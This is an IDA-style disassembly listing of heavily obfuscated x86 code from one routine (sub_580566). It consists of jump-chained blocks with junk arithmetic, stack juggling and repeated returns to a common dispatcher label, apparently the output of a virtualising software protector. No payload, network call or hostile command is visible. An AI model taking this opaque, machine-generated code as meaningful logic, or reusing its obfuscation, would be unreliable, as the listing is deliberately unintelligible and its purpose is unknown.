loc_591BA9: ; CODE XREF: sub_580566+13C01j mov [esp-3Ch+arg_34], edx push eax pushf jmp loc_5A1DBE ; --------------------------------------------------------------------------- loc_591BB3: ; CODE XREF: sub_580566+11DBAj mov ebp, esp jmp loc_59AA15 ; --------------------------------------------------------------------------- loc_591BBA: ; CODE XREF: sub_580566+158BDj push 70555262h jmp loc_595AAC ; --------------------------------------------------------------------------- loc_591BC4: ; CODE XREF: sub_580566+2315Fj and ebx, 130A54A6h inc ebx sub ebx, 100A501Fh add edx, ebx pop ebx push ecx mov ecx, 4 sub edx, 69A6BA3h jmp loc_5A203B ; --------------------------------------------------------------------------- loc_591BE5: ; CODE XREF: sub_580566+20A3Dj push edx push ecx jmp loc_59F185 ; --------------------------------------------------------------------------- loc_591BEC: ; CODE XREF: sub_580566+24E20j push eax mov eax, 0FFFFFFFFh sub esi, eax jmp loc_59A757 ; --------------------------------------------------------------------------- loc_591BF9: ; CODE XREF: sub_580566+1A8CDj mov edi, 44AD59C9h jmp loc_59C271 ; --------------------------------------------------------------------------- loc_591C03: ; CODE XREF: sub_580566+14A1Cj mov esi, ebx pop ebx sub eax, esi pop esi pop edx jmp loc_5A4D68 ; --------------------------------------------------------------------------- loc_591C0F: ; CODE XREF: sub_580566+1FE44j mov [esp-30h+arg_28], edi jmp loc_5A282C ; --------------------------------------------------------------------------- loc_591C17: ; CODE XREF: sub_580566+2399Cj push 5DC015BBh pop ecx neg ecx push ebx mov ebx, 1AA33989h jmp loc_5990FE ; --------------------------------------------------------------------------- loc_591C2A: ; CODE XREF: sub_580566+12884j dec ebp neg ebp xor ebp, 246131EBh sub ebp, 0EB1BF2B1h sub ecx, ebp pop ebp add edx, ecx pop ecx jmp loc_598057 ; --------------------------------------------------------------------------- loc_591C44: ; CODE XREF: sub_580566+20F36j push [esp-34h+arg_30] jmp loc_590F76 ; --------------------------------------------------------------------------- loc_591C4D: ; CODE XREF: sub_580566+1AFEAj add esp, 4 and eax, edx push [esp-34h+arg_2C] pop edx sub esp, 4 jmp loc_5A548A ; --------------------------------------------------------------------------- loc_591C61: ; CODE XREF: sub_580566+1F095j sub edi, edx pop edx jmp loc_59A1C5 ; --------------------------------------------------------------------------- loc_591C69: ; CODE XREF: sub_580566+1AE53j xor edi, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] push 5F75h jmp loc_590C38 ; --------------------------------------------------------------------------- loc_591C79: ; CODE XREF: sub_580566+19D70j or ebx, 4AE100B1h sub esp, 4 mov [esp-2Ch+arg_24], eax jmp loc_599BAF ; --------------------------------------------------------------------------- loc_591C8D: ; CODE XREF: sub_580566+1684Ej pop edi push ebx mov ebx, 7C3238AFh neg ebx push esi mov esi, 7C3238B1h add ebx, esi pop esi add ebp, ebx jmp loc_595008 ; --------------------------------------------------------------------------- loc_591CA6: ; CODE XREF: sub_580566+162E1j add edx, 7EF756B1h add edx, ebx jmp loc_59C825 ; --------------------------------------------------------------------------- loc_591CB3: ; CODE XREF: sub_580566+14B39j pop edx push ecx pop ebx jmp loc_5A4772 ; --------------------------------------------------------------------------- loc_591CBB: ; CODE XREF: sub_580566+1D90Fj pop esi sub esp, 4 mov [esp-30h+arg_28], ecx jmp loc_592DB0 ; --------------------------------------------------------------------------- loc_591CCA: ; CODE XREF: sub_580566+1117Fj mov edx, [esp-3Ch+arg_34] add esp, 4 sub bl, al add bl, 0A0h add bl, 3Eh push 2CDDh mov [esp-3Ch+arg_34], edx jmp loc_59D9FE ; --------------------------------------------------------------------------- loc_591CE8: ; CODE XREF: sub_580566+1F0BDj mov esp, [esp-3Ch+arg_34] or [esp-3Ch+arg_34], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_591CF4: ; CODE XREF: sub_580566+1913Fj xor ebp, esi pop esi jmp loc_5A4A3D ; --------------------------------------------------------------------------- loc_591CFC: ; CODE XREF: sub_580566+1DE35j sub ecx, 9233F084h sub esi, ecx pop ecx sub esi, 6BEA0F25h sub esi, 225D5ED7h add esi, eax jmp loc_59A50D ; --------------------------------------------------------------------------- loc_591D18: ; CODE XREF: sub_580566+210F1j sub esp, 4 mov [esp-3Ch+arg_34], edx mov edx, 31F471D4h sub ecx, edx pop edx pop edi push ebx mov ebx, 2 jmp loc_5A211E ; --------------------------------------------------------------------------- loc_591D35: ; CODE XREF: sub_580566+19502j push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp-40h+arg_38] pop esp add esi, 4 jmp loc_59497C ; --------------------------------------------------------------------------- loc_591D4D: ; CODE XREF: sub_580566+1FAB9j pop edx mov ebx, [esp-48h+arg_40] add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_591D59: ; CODE XREF: sub_580566+1AC80j mov esi, esp push edi mov edi, 4CB34896h jmp loc_59D17B ; --------------------------------------------------------------------------- loc_591D66: ; CODE XREF: sub_580566+16980j mov ecx, edx pop edx add eax, 4E555A3Eh add eax, ecx sub eax, 4E555A3Eh jmp loc_59CFDC ; --------------------------------------------------------------------------- loc_591D7A: ; CODE XREF: sub_580566+1191Fj push 4 pop edx push edx mov edx, 2B8E2545h sub ecx, edx pop edx add ecx, edx add ecx, 2B8E2545h pop edx push edx jmp loc_5A3D94 ; --------------------------------------------------------------------------- loc_591D98: ; CODE XREF: sub_580566+19997j add [esp-4Ch+arg_44], 4 mov ebp, [esp-4Ch+arg_44] add esp, 4 push 5045h jmp loc_593887 ; --------------------------------------------------------------------------- loc_591DAC: ; CODE XREF: sub_580566+118CBj xor edx, [esp-4Ch+arg_44] pop esp movzx cx, al push 29DEh jmp loc_592CD0 ; --------------------------------------------------------------------------- loc_591DBE: ; CODE XREF: sub_580566+17942j pop ecx add ebx, ecx pop ecx jmp loc_59DEC8 ; --------------------------------------------------------------------------- loc_591DC7: ; CODE XREF: sub_580566+1CE75j pop edi sub ebx, 4 jmp loc_59B58D ; --------------------------------------------------------------------------- loc_591DD0: ; CODE XREF: sub_580566+255EEj add ebp, ebx pop ebx mov edi, ebp pop ebp jmp loc_595D6C ; --------------------------------------------------------------------------- loc_591DDB: ; CODE XREF: sub_580566+238B1j sub esp, 2 mov word ptr [esp-5Ch+arg_52+2], si pop cx mov si, word ptr [esp-5Eh+arg_56] push ecx push esp pop ecx add ecx, 4 add ecx, 2 jmp loc_5A0574 ; --------------------------------------------------------------------------- loc_591DFC: ; CODE XREF: sub_580566+1A0BAj not edi inc edi push edx mov edx, 59A14268h xchg edi, edx not edi xor edx, edi jmp loc_5A4FF4 ; --------------------------------------------------------------------------- loc_591E10: ; CODE XREF: sub_580566+21106j xor ebx, 11A70E19h not ebx jmp loc_5A36C4 ; --------------------------------------------------------------------------- loc_591E1D: ; CODE XREF: sub_580566+16FC3j push 5FBFh mov [esp-52h+arg_48+2], edx jmp loc_5A1FC4 ; --------------------------------------------------------------------------- loc_591E2A: ; CODE XREF: sub_580566+1DD3Cj pop esi xor edx, [esp-56h+arg_4E] xor [esp-56h+arg_4E], edx jmp loc_591DAC ; --------------------------------------------------------------------------- loc_591E36: ; CODE XREF: sub_580566+215E9j xchg edi, [esp-56h+arg_4E] pop esp jmp loc_590A9B ; --------------------------------------------------------------------------- loc_591E3F: ; CODE XREF: sub_580566+1FBB5j shr bl, 5 sub bl, 32h sub bl, 5Ah neg bl add bl, 0CEh add al, bl jmp loc_59A990 ; --------------------------------------------------------------------------- loc_591E54: ; CODE XREF: sub_580566+20031j push edx push edi mov edi, 241A79CFh jmp loc_595E33 ; --------------------------------------------------------------------------- push 31E3h mov [esp-4Eh+arg_44+2], esi mov esi, 5D2935AFh sub esp, 4 jmp loc_5971D7 ; --------------------------------------------------------------------------- loc_591E75: ; CODE XREF: sub_580566+1801Bj mov ecx, 6304575Bh shl ecx, 1 jmp loc_59A712 ; --------------------------------------------------------------------------- loc_591E81: ; CODE XREF: sub_580566+185D0j pop esp mov [esp-4Eh+arg_44+2], edx jmp loc_591D7A ; --------------------------------------------------------------------------- loc_591E8A: ; CODE XREF: sub_580566+1D810j add esp, 4 push edi mov edi, 3D1671E0h jmp loc_593E0D ; --------------------------------------------------------------------------- loc_591E98: ; CODE XREF: sub_580566+21B41j mov edx, [esp-4Eh+arg_44+2] add esp, 4 push esi mov esi, 2A9417B8h and esi, 2B6A68AAh inc esi jmp loc_59A591 ; --------------------------------------------------------------------------- loc_591EB0: ; CODE XREF: sub_580566+1A91Ej mov [esp-4Eh+arg_44+2], ecx jmp loc_5A1387 ; --------------------------------------------------------------------------- loc_591EB8: ; CODE XREF: sub_580566+1E16Cj sub eax, 1 or eax, 6E9D01CBh shr eax, 2 xor eax, 0FFB192Bh inc eax sub eax, 0C4C67D55h add esi, eax pop eax sub esi, 5934455Bh pop edi push ebx mov ebx, 4 add esi, ebx pop ebx xor esi, [esp-56h+arg_4E] xor [esp-56h+arg_4E], esi xor esi, [esp-56h+arg_4E] pop esp push [esp-5Ah+arg_52] mov eax, [esp-56h+arg_4E] sub esp, 4 jmp loc_59CE4F ; --------------------------------------------------------------------------- loc_591EFB: ; CODE XREF: sub_580566+1F849j mov eax, 4 add ebx, eax pop eax push 1879h jmp loc_5A345B ; --------------------------------------------------------------------------- loc_591F0D: ; CODE XREF: sub_580566+1057Aj sub esp, 4 mov [esp-56h+arg_4E], ebp mov ebp, 9AB6556h jmp loc_59B761 ; --------------------------------------------------------------------------- loc_591F20: ; CODE XREF: sub_580566+23A83j shl edx, 6 add edx, 1 push 5BB1h mov [esp-52h+arg_48+2], edi push 2A304F13h mov edi, [esp-4Eh+arg_44+2] jmp loc_5A5426 ; --------------------------------------------------------------------------- loc_591F3B: ; CODE XREF: sub_580566+15934j xor ebx, esi push 4FE7h mov [esp-4Ah+arg_40+2], eax jmp loc_592F45 ; --------------------------------------------------------------------------- loc_591F4A: ; CODE XREF: sub_580566+17A29j xor eax, [esp-4Ah+arg_40+2] jmp loc_59462C ; --------------------------------------------------------------------------- loc_591F52: ; CODE XREF: sub_580566+115B1j add esp, 2 sub esp, 4 mov [esp-38h+arg_30], ecx mov ecx, 166A13E3h jmp loc_5928CE ; --------------------------------------------------------------------------- loc_591F68: ; CODE XREF: sub_580566+1BFB6j or edi, 7B96024Eh sub edi, 34B3CC0Fh sub esi, 5A8F11CFh add esi, edi jmp loc_598CF8 ; --------------------------------------------------------------------------- loc_591F81: ; CODE XREF: sub_580566+1384Aj add esp, 4 jmp loc_5A1E4C ; --------------------------------------------------------------------------- loc_591F8C: ; CODE XREF: sub_580566+12736j push ebx mov bh, 8Fh not bh inc bh and bh, 20h neg bh push eax push ebx mov bl, 0AFh mov ah, bl pop ebx add bh, ah pop eax xor bh, 0F7h jmp loc_590EFF ; --------------------------------------------------------------------------- loc_591FAA: ; CODE XREF: sub_580566+20F9Aj push [esp-38h+arg_30] jmp loc_59F444 ; --------------------------------------------------------------------------- loc_591FB2: ; CODE XREF: sub_580566+1DFFCj and eax, edx mov edx, [esp-34h+arg_2C] jmp loc_5A0D16 ; --------------------------------------------------------------------------- loc_591FBC: ; CODE XREF: sub_580566+1ED91j xchg ecx, [esp-34h+arg_2C] pop esp jmp loc_59E076 ; --------------------------------------------------------------------------- loc_591FC5: ; CODE XREF: sub_580566+134A7j sub esp, 4 mov [esp-34h+arg_2C], ebx jmp loc_5963A1 ; --------------------------------------------------------------------------- loc_591FD0: ; CODE XREF: sub_580566+1B54Aj pop ecx sub al, bh pop ebx pop ebx jmp loc_59EE7F ; --------------------------------------------------------------------------- loc_591FDA: ; CODE XREF: sub_580566+1B362j mov ebp, esp jmp loc_5A3ADC ; --------------------------------------------------------------------------- loc_591FE1: ; CODE XREF: sub_580566+2031Ej push ebp jmp loc_595B5E ; --------------------------------------------------------------------------- loc_591FE7: ; CODE XREF: sub_580566+12EB3j add esp, 2 push ecx push edx push 3A5Eh jmp loc_5A4F2E ; --------------------------------------------------------------------------- loc_591FF6: ; CODE XREF: sub_580566+17736j xor ecx, ebp pop ebp sub ebp, ecx pop ecx jmp loc_5A2F8E ; --------------------------------------------------------------------------- loc_592001: ; CODE XREF: sub_580566+1B729j or bh, ah pop eax neg bh sub bh, 1 neg bh jmp loc_59F600 ; --------------------------------------------------------------------------- loc_592010: ; CODE XREF: sub_580566+1B208j dec esi jmp loc_59F081 ; --------------------------------------------------------------------------- loc_592016: ; CODE XREF: sub_580566+232ECj add ebx, edx pop edx add ebx, 2 push ebx push dword ptr [esp+4] mov ebx, [esp-3Ch+arg_34] add esp, 4 pop [esp-40h+arg_38] jmp loc_592E4E ; --------------------------------------------------------------------------- loc_592032: ; CODE XREF: sub_580566+123E6j add esi, 1278303Ah pop ecx push ecx mov ecx, 4 sub esi, 1A6518F7h add esi, ecx add esi, 1A6518F7h pop ecx xchg esi, [esp-48h+arg_40] jmp loc_594EE9 ; --------------------------------------------------------------------------- loc_592056: ; CODE XREF: sub_580566+23A3Cj mov eax, esp add eax, 4 push edx sub esp, 4 jmp loc_5A1F57 ; --------------------------------------------------------------------------- loc_592069: ; CODE XREF: sub_580566+2081Ej mov [esp-40h+arg_38], edi push 6B4Fh mov [esp-3Ch+arg_34], esp sub esp, 4 mov [esp-38h+arg_30], ecx mov ecx, 4 jmp loc_597F54 ; --------------------------------------------------------------------------- loc_592087: ; CODE XREF: sub_580566+1DE9Bj mov ebx, 4 jmp loc_5966D9 ; --------------------------------------------------------------------------- loc_592091: ; CODE XREF: sub_580566+1C0F5j pop esp pop ecx mov [edx], bl push [esp-40h+arg_38] mov ebx, [esp-3Ch+arg_34] add esp, 4 add esp, 4 jmp loc_59D3AF ; --------------------------------------------------------------------------- loc_5920A9: ; CODE XREF: sub_580566+24B61j add esp, 4 xor esi, [esp-48h+arg_40] xor [esp-48h+arg_40], esi xor esi, [esp-48h+arg_40] mov esp, [esp-48h+arg_40] imul cl movzx cx, ah push small 1BC0h mov word ptr [esp-46h+arg_3C+2], cx movzx cx, al push cx pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5920D5: ; CODE XREF: sub_580566+1D0C8j sub dl, 98h mov bl, dl pop edx mov al, bl pop ebx sub al, 3Ah sub bl, 0B9h push ecx jmp loc_5A2DAD ; --------------------------------------------------------------------------- loc_5920E9: ; CODE XREF: sub_580566+1AEB7j sub esi, 5EDB3F25h jmp loc_59B498 ; --------------------------------------------------------------------------- loc_5920F4: ; CODE XREF: sub_580566+13EEBj shr edx, 8 sub edx, 7E307197h sub edx, 81EF9ED1h add ebp, edx jmp loc_590B45 ; --------------------------------------------------------------------------- loc_59210A: ; CODE XREF: sub_580566+18D29j mov [esp-44h+arg_3C], ecx mov ch, 0C8h shr ch, 5 sub ch, 73h sub ch, 1 and ch, 0BEh xor ch, 10h mov dl, ch jmp loc_5A46AB ; --------------------------------------------------------------------------- loc_592125: ; CODE XREF: sub_580566+1DECAj mov ebx, [esp-44h+arg_3C] add esp, 4 push esi push edi jmp loc_59FFA7 ; --------------------------------------------------------------------------- loc_592132: ; CODE XREF: sub_580566+1A0D7j pop eax dec eax not eax xor eax, 4D5A13F6h add ebx, eax mov eax, [esp-44h+arg_3C] add esp, 4 sub edx, 0FBF314Eh sub edx, 6075306Eh push esi jmp loc_5A4B98 ; --------------------------------------------------------------------------- loc_592155: ; CODE XREF: sub_580566+17B6Fj mov esi, [esp-44h+arg_3C] push ebx jmp loc_59FC5B ; --------------------------------------------------------------------------- loc_59215E: ; CODE XREF: sub_580566+1E484j xchg eax, [esp-40h+arg_38] not eax xchg eax, [esp-40h+arg_38] jmp loc_594C5F ; --------------------------------------------------------------------------- loc_59216B: ; CODE XREF: sub_580566+13463j add ebx, 4 sub ebx, 4 xchg ebx, [esp-40h+arg_38] pop esp mov [esp], esi mov esi, 4 add edi, 6D1C5526h add edi, 2F071853h add edi, esi jmp loc_5A21C1 ; --------------------------------------------------------------------------- loc_592196: ; CODE XREF: sub_580566+1D1C2j add cl, dh push [esp-44h+arg_3C] mov edx, [esp-40h+arg_38] add esp, 4 add esp, 4 inc cl push ebx push edx push ecx mov cl, 0CCh mov dh, cl pop ecx mov bl, 0Dh xor bl, dh jmp loc_5A300A ; --------------------------------------------------------------------------- loc_5921BD: ; CODE XREF: sub_580566+11CBEj pop edx xor ah, 58h add dh, 0A5h add dh, ah sub dh, 0A5h pop eax sub al, dh push [esp-48h+arg_40] pop edx jmp loc_59B6E7 ; --------------------------------------------------------------------------- loc_5921D5: ; CODE XREF: sub_580566+14522j add eax, 675B2CD0h xor eax, 7F7F1E36h jmp loc_595095 ; --------------------------------------------------------------------------- loc_5921E4: ; CODE XREF: sub_580566+1AAA0j xchg edx, [esp-48h+arg_40] jmp loc_596C22 ; --------------------------------------------------------------------------- loc_5921EC: ; CODE XREF: sub_580566+21724j mov [esp], eax jmp loc_5A58AC ; --------------------------------------------------------------------------- loc_5921F4: ; CODE XREF: sub_580566+227C7j mov edx, 46913200h jmp loc_59CA1C ; --------------------------------------------------------------------------- loc_5921FE: ; CODE XREF: sub_580566+1BE36j sub esi, ebx mov ebx, [esp] add esp, 4 jmp loc_59B502 ; --------------------------------------------------------------------------- loc_59220B: ; CODE XREF: sub_580566+16DD1j add ebx, edi jmp loc_59B5E7 ; --------------------------------------------------------------------------- loc_592212: ; CODE XREF: sub_580566+154CBj push 274h mov [esp], edx mov dh, 0FBh sub ah, 0F8h add ah, dh add ah, 0F8h jmp loc_5921BD ; --------------------------------------------------------------------------- loc_592229: ; CODE XREF: sub_580566+1A6A0j mov [esp], edx mov edx, esp add edx, 4 push esi mov esi, 2 sub edx, 1E5C0D72h add edx, esi add edx, 1E5C0D72h mov esi, [esp-44h+arg_3C] push ebp sub esp, 4 mov [esp-3Ch+arg_34], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-3Ch+arg_34] pop esp jmp loc_5A153B ; --------------------------------------------------------------------------- loc_592266: ; CODE XREF: sub_580566+1B0F2j sub ebp, 4 jmp loc_592807 ; --------------------------------------------------------------------------- loc_59226E: ; CODE XREF: sub_580566+1A117j shr esi, 6 jmp loc_5A4670 ; --------------------------------------------------------------------------- loc_592276: ; CODE XREF: sub_580566+24CC6j sub dl, 1 jmp loc_5A490D ; --------------------------------------------------------------------------- loc_59227E: ; CODE XREF: sub_580566+24C52j add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_5A4632 ; --------------------------------------------------------------------------- loc_592292: ; CODE XREF: sub_580566+12B78j push edx mov ebp, [esp-3Ch+arg_34] jmp loc_59DC9E ; --------------------------------------------------------------------------- loc_59229B: ; CODE XREF: sub_580566+1CA44j xor ebx, ecx jmp loc_5A0B07 ; --------------------------------------------------------------------------- loc_5922A2: ; CODE XREF: sub_580566+1366Aj sub ebp, ecx pop ecx pop edi add ebp, 2 xchg ebp, [esp-44h+arg_3C] mov esp, [esp-44h+arg_3C] sar byte ptr [esp-44h+arg_3C], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5922BB: ; CODE XREF: sub_580566+14C0Dj mov ch, 0EFh jmp loc_59F3CD ; --------------------------------------------------------------------------- loc_5922C2: ; CODE XREF: sub_580566+1B124j push small 0 sub byte ptr [esp-3Eh+arg_34+2], dl mov dl, byte ptr [esp-3Eh+arg_34+2] push edx push esp pop edx add edx, 4 add edx, 2 xor edx, [esp-3Ah+arg_30+2] xor [esp-3Ah+arg_30+2], edx xor edx, [esp-3Ah+arg_30+2] pop esp jmp loc_5936D8 ; --------------------------------------------------------------------------- loc_5922E7: ; CODE XREF: sub_580566+177FDj mov [esp-3Eh+arg_34+2], ebp mov ebp, esp jmp loc_59AA81 ; --------------------------------------------------------------------------- loc_5922F1: ; CODE XREF: sub_580566+1CDA8j mov [esp-3Eh+arg_34+2], eax push 43F9157Ch pop eax jmp loc_597B2C ; --------------------------------------------------------------------------- loc_5922FF: ; CODE XREF: sub_580566+16EE2j sub eax, edx sub eax, 2A5933ACh sub eax, 12175C5Ah pop edx push 79D3h mov [esp-3Eh+arg_34+2], esi mov esi, 100h and eax, esi push [esp-3Eh+arg_34+2] pop esi push ebp jmp loc_591BB3 ; --------------------------------------------------------------------------- loc_592325: ; CODE XREF: sub_580566+23BA5j pop cx jmp loc_59D535 ; --------------------------------------------------------------------------- loc_59232C: ; CODE XREF: sub_580566+242C9j xchg edi, [esp-3Ch+arg_34] pop esp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp-3Ch+arg_34] add esp, 4 push ebp push [esp-3Ch+arg_38] pop ebp pop [esp-3Ch+arg_34] mov esp, [esp-40h+arg_38] sub esp, 4 mov [esp-3Ch+arg_34], edx jmp loc_5A23CF ; --------------------------------------------------------------------------- loc_59235E: ; CODE XREF: sub_580566+21D6Dj mov edx, [esp-3Ch+arg_34] add esp, 4 add esp, 4 add esp, 4 sub esp, 4 jmp loc_590DCD ; --------------------------------------------------------------------------- loc_592375: ; CODE XREF: sub_580566+11501j xchg ecx, [esp-36h+arg_2C+2] pop esp push ebp push 3BD37599h jmp loc_598470 ; --------------------------------------------------------------------------- loc_592384: ; CODE XREF: sub_580566+1B708j mov [esp-32h+arg_28+2], eax push edi push esi mov esi, 17487585h mov edi, esi pop esi push edi push 23B231F6h mov edi, [esp+0] add esp, 4 shl edi, 8 jmp loc_5988A5 ; --------------------------------------------------------------------------- loc_5923A5: ; CODE XREF: sub_580566+1F83Dj dec esi jmp loc_598439 ; --------------------------------------------------------------------------- loc_5923AB: ; CODE XREF: sub_580566+1C239j mov esi, 38924ECBh jmp loc_59C84C ; --------------------------------------------------------------------------- loc_5923B5: ; CODE XREF: sub_580566+24EDBj mov [esp-2Ah+arg_20+2], esi jmp loc_5A0897 ; --------------------------------------------------------------------------- loc_5923BD: ; CODE XREF: sub_580566+1F130j mov ebp, 4 add eax, ebp jmp loc_5A2F2E ; --------------------------------------------------------------------------- loc_5923C9: ; CODE XREF: sub_580566+20E92j sub [esp-2Ah+arg_20+2], 5C495D2Dh jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5923D5: ; CODE XREF: sub_580566+16991j push edi mov edi, esp add edi, 4 jmp loc_5A0452 ; --------------------------------------------------------------------------- loc_5923E3: ; CODE XREF: sub_580566+22C18j push dword ptr [esp+0] jmp loc_597688 ; --------------------------------------------------------------------------- loc_5923EB: ; CODE XREF: sub_580566+1C5E6j neg ebp add ebp, 5E0549ABh add ebp, 0A565737h sub eax, ebp pop ebp add eax, 41405C2h sub eax, esi sub eax, 41405C2h push ecx mov ecx, 526C7B3Bh sub ecx, 13D00F40h or ecx, 4E5E199Fh and ecx, 40EF2105h dec ecx add ecx, 0D3F6582Fh add eax, ecx pop ecx sub eax, 1A4A1204h jmp loc_59888B ; --------------------------------------------------------------------------- loc_592434: ; CODE XREF: sub_580566+24CB9j xchg edx, [esp+0] pop ebp jmp loc_595B58 ; --------------------------------------------------------------------------- loc_59243D: ; CODE XREF: sub_580566+1B99Ej mov ecx, 1EDA24EEh shl ecx, 5 sub ecx, 93383A44h sub ebx, ecx pop ecx jmp loc_594766 ; --------------------------------------------------------------------------- loc_592453: ; CODE XREF: sub_580566+12541j mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_59588D ; --------------------------------------------------------------------------- loc_592466: ; CODE XREF: sub_580566+241ACj push [esp-2Ah+arg_20+2] push dword ptr [esp+0] jmp loc_5A4E27 ; --------------------------------------------------------------------------- loc_592471: ; CODE XREF: sub_580566+13999j pop ebp push 2EBEh mov [esp-22h+arg_1A], eax mov eax, 4 sub ecx, 5C100477h add ecx, eax add ecx, 5C100477h mov eax, [esp-22h+arg_1A] push ecx mov ecx, esp jmp loc_59893C ; --------------------------------------------------------------------------- loc_592498: ; CODE XREF: sub_580566+107CCj pop esp mov [esp-4Ah+arg_40+2], eax push 659Bh mov [esp-46h+arg_3C+2], esp add [esp-46h+arg_3C+2], 4 jmp loc_593118 ; --------------------------------------------------------------------------- loc_5924AD: ; CODE XREF: sub_580566+1DC62j inc dl jmp loc_59A46E ; --------------------------------------------------------------------------- loc_5924B4: ; CODE XREF: sub_580566+1163Ej add edi, edx add edi, 51EF6E66h pop edx xchg edi, [esp-40h+arg_38] mov esp, [esp-40h+arg_38] shl eax, cl push 7FF2h mov [esp-3Ch+arg_34], ebp mov ebp, 232237DBh or ebp, 13AC6381h add ebp, 1 push ecx mov ecx, esp push 6EE8h mov [esp-34h+arg_2C], ebp mov ebp, 2AC2AD3h jmp loc_599D15 ; --------------------------------------------------------------------------- loc_5924F0: ; CODE XREF: sub_580566+237FFj add edx, 4 jmp loc_59B4B4 ; --------------------------------------------------------------------------- loc_5924F8: ; CODE XREF: sub_580566+1CD6Cj add ecx, 4 jmp loc_598FE0 ; --------------------------------------------------------------------------- loc_592503: ; CODE XREF: sub_580566+227C1j push [esp-34h+arg_2C] push [esp-30h+arg_28] pop ebx add esp, 4 jmp loc_592753 ; --------------------------------------------------------------------------- loc_592515: ; CODE XREF: sub_580566+1D784j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-34h+arg_2C] pop esp mov [esp-38h+arg_30], edx mov edx, 7C0013A8h push eax mov eax, 6C4B4B0Ah jmp loc_5A1452 ; --------------------------------------------------------------------------- loc_592537: ; CODE XREF: sub_580566+17003j push 2200h mov [esp-30h+arg_28], ecx mov ecx, 566A3E24h sub esp, 4 jmp loc_593638 ; --------------------------------------------------------------------------- loc_59254C: ; CODE XREF: sub_580566+1069Aj sub ebx, 37D7C4Eh pop ebp xor ebx, [esp-56h+arg_4E] xor [esp-56h+arg_4E], ebx xor ebx, [esp-56h+arg_4E] mov esp, [esp-56h+arg_4E] jmp loc_59195D ; --------------------------------------------------------------------------- loc_592564: ; CODE XREF: sub_580566+19EB4j mov [esp-56h+arg_4E], eax mov al, 59h dec al jmp loc_5A4D36 ; --------------------------------------------------------------------------- loc_592570: ; CODE XREF: sub_580566+1EE2Aj push eax mov eax, 1F933238h inc eax add eax, 47200E8Dh add eax, 0D951DF4Fh jmp loc_59136E ; --------------------------------------------------------------------------- loc_592586: ; CODE XREF: sub_580566+23434j push ebx jmp loc_5989DA ; --------------------------------------------------------------------------- loc_59258C: ; CODE XREF: sub_580566+164F2j mov ebp, esp push edx push eax mov eax, 106E313Bh mov edx, 6A78D91Fh add edx, eax mov eax, [esp-46h+arg_3C+2] jmp loc_59933B ; --------------------------------------------------------------------------- loc_5925A4: ; CODE XREF: sub_580566+1B9D9j add ebx, 4 add ebx, 4 xchg ebx, [esp-46h+arg_3C+2] pop esp push 1343h mov [esp-46h+arg_3C+2], edx push 491h push 526Bh mov [esp-3Eh+arg_34+2], esp add [esp-3Eh+arg_34+2], 4 pop [esp-3Eh+arg_34+2] jmp loc_59615F ; --------------------------------------------------------------------------- loc_5925D5: ; CODE XREF: sub_580566+18031j shr eax, 7 or eax, 5B276155h sub eax, 55AE0A81h mov edi, eax jmp loc_5A5278 ; --------------------------------------------------------------------------- loc_5925E9: ; CODE XREF: sub_580566+1F3FDj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5925EE: ; CODE XREF: sub_580566+1ED08j pop esp xchg ebp, [esp-46h+arg_3C+2] mov esp, [esp-46h+arg_3C+2] mov word ptr [esp-46h+arg_3C+2], ax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5925FE: ; CODE XREF: sub_580566+1C579j sub edi, 4 xchg edi, [esp-46h+arg_3C+2] pop esp mov [esp-4Ah+arg_40+2], esp add [esp-4Ah+arg_40+2], 4 pop ebx push 6292h mov [esp-4Ah+arg_40+2], edx push 4 jmp loc_5A2576 ; --------------------------------------------------------------------------- loc_59261F: ; CODE XREF: sub_580566+1D403j pop edi xor edi, eax push [esp-4Ah+arg_40+2] mov eax, [esp-46h+arg_3C+2] add esp, 4 add esp, 4 jmp loc_59C50B ; --------------------------------------------------------------------------- loc_592633: ; CODE XREF: sub_580566+12342j push [esp-4Eh+arg_44+2] jmp loc_59C3ED ; --------------------------------------------------------------------------- loc_59263B: ; CODE XREF: sub_580566+1BF1Fj mov [esp-4Ah+arg_40+2], edx push [esp-4Ah+arg_44+2] pop edx jmp loc_592ED3 ; --------------------------------------------------------------------------- loc_592648: ; CODE XREF: sub_580566+1A3F3j mov ebx, 0E7A4A52h and ebx, 5CF80776h and ebx, 70CB4C03h shr ebx, 2 xor ebx, 1C52010Ch jmp loc_596072 ; --------------------------------------------------------------------------- loc_592667: ; CODE XREF: sub_580566+1805Fj sub edx, 580942ECh sub edx, 272042E4h pop ecx xchg edx, [esp-4Eh+arg_44+2] pop esp add edi, 4 add edi, 2 xchg edi, [esp-52h+arg_48+2] mov esp, [esp-52h+arg_48+2] btr word ptr [esp-52h+arg_48+2], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_592692: ; CODE XREF: sub_580566+128C7j pop ebx jmp loc_59420D ; --------------------------------------------------------------------------- loc_592698: ; CODE XREF: sub_580566+1E48Ej mov edx, esi jmp loc_59B245 ; --------------------------------------------------------------------------- loc_59269F: ; CODE XREF: sub_580566+14F0Bj pop esp mov ax, word ptr [esp-56h+arg_4E] push ecx jmp loc_597A1D ; --------------------------------------------------------------------------- loc_5926AA: ; CODE XREF: sub_580566+1B3ECj add [esp-52h+arg_4E], edi push ecx jmp loc_594FC2 ; --------------------------------------------------------------------------- loc_5926B4: ; CODE XREF: sub_580566+2181Fj add ebp, 0DB0DC112h sub ebx, ebp pop ebp push esi mov esi, 6B8A1135h sub eax, esi jmp loc_590D73 ; --------------------------------------------------------------------------- loc_5926CA: ; CODE XREF: sub_580566+24698j pop ebp jmp loc_5A4755 ; --------------------------------------------------------------------------- loc_5926D0: ; CODE XREF: sub_580566+12D49j xor ebx, esi pop esi add esi, ebx jmp loc_5A599F ; --------------------------------------------------------------------------- loc_5926DA: ; CODE XREF: sub_580566+14B74j mov esi, 3C384728h add eax, 2DBA5A7Ah add eax, esi jmp loc_59E3DD ; 